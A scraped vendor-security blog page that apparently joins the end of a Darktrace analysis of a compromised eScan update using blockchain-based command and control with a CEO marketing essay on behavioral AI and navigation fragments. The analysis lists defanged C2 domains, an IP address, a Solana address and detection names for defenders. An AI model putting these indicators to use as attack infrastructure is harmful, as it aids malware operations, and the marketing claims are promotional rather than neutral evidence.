In outgoing connections to these malicious endpoints across affected networks, Darktrace / NETWORK recognized that the activity was 100% rare and anomalous for both the devices and the wider networks, likely indicative of malicious beaconing, regardless of the underlying trusted infrastructure. In addition to generating multiple model alerts to capture this malicious activity across affected networks, Darktrace’s Cyber AI Analyst was able to compile these separate events into broader incidents that summarized the entire attack chain, allowing customers’ security teams to investigate and remediate more efficiently. Moreover, in customer environments where Darktrace’s Autonomous Response capability was enabled, Darktrace took swift action to contain the attack by blocking beaconing connections to the malicious endpoints, even when those endpoints were associated with seemingly trustworthy services.

Conclusion

Attacks targeting trusted relationships continue to be a popular strategy among threat actors. Activities linked to trusted or widely deployed software are often unintentionally whitelisted by existing security solutions and gateways. Darktrace observed multiple devices becoming impacted within a very short period, likely because tools such as antivirus software are typically mass‑deployed across numerous endpoints. As a result, a single compromised delivery mechanism can greatly expand the attack surface.

Attackers are also becoming increasingly creative in developing resilient C2 infrastructure and exploiting legitimate services to evade detection. Defenders are therefore encouraged to closely monitor anomalous connections and file downloads. Darktrace’s ability to detect unusual activity amidst ever‑changing tactics and indicators of compromise (IoCs) helps organizations maintain a proactive and resilient defense posture against emerging threats.

Credit to Joanna Ng (Associate Principal Cybersecurity Analyst) and Min Kim (Associate Principal Cybersecurity Analyst) and Tara Gould (Malware Researcher Lead)

Edited by Ryan Traill (Content Manager)

Appendices

Darktrace Model Detections

Anomalous File::Zip or Gzip from Rare External Location
Anomalous Connection / Suspicious Self-Signed SSL
Anomalous Connection / Rare External SSL Self-Signed
Anomalous Connection / Suspicious Expired SSL
Anomalous Server Activity / Anomalous External Activity from Critical Network Device

List of Indicators of Compromise (IoCs)

vhs[.]delrosal[.]net – C2 server
tumama[.]hns[.]to – C2 server
blackice.sol-domain[.]org – C2 server
96.9.125[.]243 – C2 Server

MITRE ATT&CK Mapping

T1071.001 - Command and Control: Web Protocols
T1588.001 - Resource Development
T1102.001 - Web Service: Dead Drop Resolver
T1195 – Supple Chain Compromise

References

[1] https://www.morphisec.com/blog/critical-escan-threat-bulletin/

[2] https://www.bleepingcomputer.com/news/security/escan-confirms-update-server-breached-to-push-malicious-update/

[3] hxxps://download1.mwti.net/documents/Advisory/eScan_Security_Advisory_2026[.]pdf

[4] https://www.virustotal.com/gui/domain/delrosal.net

[5] hxxps://explorer.solana[.]com/address/2wFAbYHNw4ewBHBJzmDgDhCXYoFjJnpbdmeWjZvevaVv

About the author

Joanna Ng

Associate Principal Analyst

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April 17, 2026

Why Behavioral AI Is the Answer to Mythos

How AI is breaking the patch-and-prevent security model

The business world was upended last week by the news that Anthropic has developed a powerful new AI model, Claude Mythos, which poses unprecedented risk because of its ability to expose flaws in IT systems.

Whether it’s Mythos or OpenAI’s GPT-5.4-Cyber, which was just announced on Tuesday, supercharged AI models in the hands of hackers will allow them to carry out attacks at machine speed, much faster than most businesses can stop them.

This news underscores a stark reality for all leaders: Patching holes alone is not a sufficient control against modern cyberattacks. You must assume that your software is already vulnerable right now. And while LLMs are very good at spotting vulnerabilities, they’re pretty bad at reliably patching them.

Project Glasswing members say it could take months or years for patches to be applied. While that work is done, enterprises must be protected against Zero-Day attacks, or security holes that are still undiscovered.

Most cybersecurity strategies today are built like a daily multivitamin: broad, preventative, and designed to keep the system generally healthy over time. Patch regularly. Update software. Reduce known vulnerabilities. It’s necessary, disciplined, and foundational. But it’s also built for a world where the risks are well known and defined, cycles are predictable, and exposure unfolds at a manageable pace.

What happens when that model no longer holds?

The AI cyber advantage: Behavioral AI

The vulnerabilities exposed by AI systems like Mythos aren’t the well-understood risks your “multivitamin” was designed to address. They are transient, fast-emerging entry points that exist just long enough to be exploited.

In that environment, prevention alone isn’t enough. You don’t need more vitamins—you need a painkiller. The future of cybersecurity won’t be defined by how well you maintain baseline health. It will be defined by how quickly you respond when something breaks and every second counts.

That’s why behavioral AI gives businesses a durable cyber advantage. Rather than trying to figure out what the attacker looks like, it learns what “normal” looks like across the digital ecosystem of each individual business.

That’s exactly how behavioral AI works. It understands the self, or what's normal for the organization, and then it can spot deviations in from normal that are actually early-stage attacks.

The Darktrace approach to cybersecurity

At Darktrace, we’ve been defending our 10,000 customers using behavioral AI cybersecurity developed in our AI Research Centre in Cambridge, U.K.

Darktrace was built on the understanding that attacks do not arrive neatly labeled, and that the most damaging threats often emerge before signatures, indicators, or public disclosures can catch up.

Our AI algorithms learn in real time from your personalized business data to learn what’s normal for every person and every asset, and the flows of data within your organization. By continuously understanding “normal” across your entire digital ecosystem, Darktrace identifies and contains threats emerging from unknown vulnerabilities and compromised supply chain dependencies, autonomously curtailing attacks at machine speed.

Security for novel threats

Darktrace is built for a world where AI is not just accelerating attacks, but fundamentally reshaping how they originate. What makes our AI so unique is that it's proven time and again to identify cyber threats before public vulnerability disclosures, such as critical Ivanti vulnerabilities in 2025 and SAP NetWeaver exploitations tied to nation-state threat actors.

As AI reshapes how vulnerabilities are found and exploited, cybersecurity must be anchored in something more durable than a list of known flaws. It requires a real-time understanding of the business itself: what belongs, what does not, and what must be stopped immediately.

What leaders should do right now

The leadership priority must shift accordingly.

First, stop treating unknown vulnerabilities as an edge case. AI‑driven discovery makes them the norm. Security programs built primarily around known flaws, signatures, and threat intelligence will always lag behind an attacker that is operating in real time.

Second, insist on an understanding of what is actually normal across the business. When threats are novel, labels are useless. The earliest and most reliable signal of danger is abnormal behavior—systems, users, or data flows that suddenly depart from what is expected. If you cannot see that deviation as it happens, you are effectively blind during the most critical window.

Finally, assume that the next serious incident will occur before remediation guidance is available. Ask what happens in those first minutes and hours. The organizations that maintain resilience are not the ones waiting for disclosure cycles to catch up—they are the ones that can autonomously identify and contain emerging threats as they unfold.

This is the reality of cybersecurity in an AI‑shaped world. Patching and prevention remain important foundations, but the advantage now belongs to those who can respond instantly when the unpredictable occurs.

Behavioral AI is security designed not just for known threats, but for the ones that AI will discover next.

[related-resource]

About the author

Ed Jennings

President and CEO

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Spinning YARN: A New Linux Malware Campaign Targets Docker, Apache Hadoop, Redis and Confluence

Introduction: Linux malware campaign

Summary:

Initial access

Primary payload: cronb.sh

ar.sh

fkoths

s.sh

Initial access and spreader utilities: h.sh, d.sh, c.sh, w.sh

d.sh

h.sh

w.sh

c.sh

Conclusion

Indicators of compromise

Filename SHA256

Paths

IP addresses

Domains/URLs

References:

How a Compromised eScan Update Enabled Multi‑Stage Malware and Blockchain C2

Why Behavioral AI Is the Answer to Mythos

Enjoying the blog?

More in this series

Blog

Network

April 21, 2026

How a Compromised eScan Update Enabled Multi‑Stage Malware and Blockchain C2

The rise of supply chain attacks

An overview of eScan exploitation

Darktrace’s coverage of eScan exploitation

Conclusion

Appendices

References

Blog

April 17, 2026

Why Behavioral AI Is the Answer to Mythos

How AI is breaking the patch-and-prevent security model

The AI cyber advantage: Behavioral AI

The Darktrace approach to cybersecurity

Security for novel threats

What leaders should do right now

w.sh 

c.sh 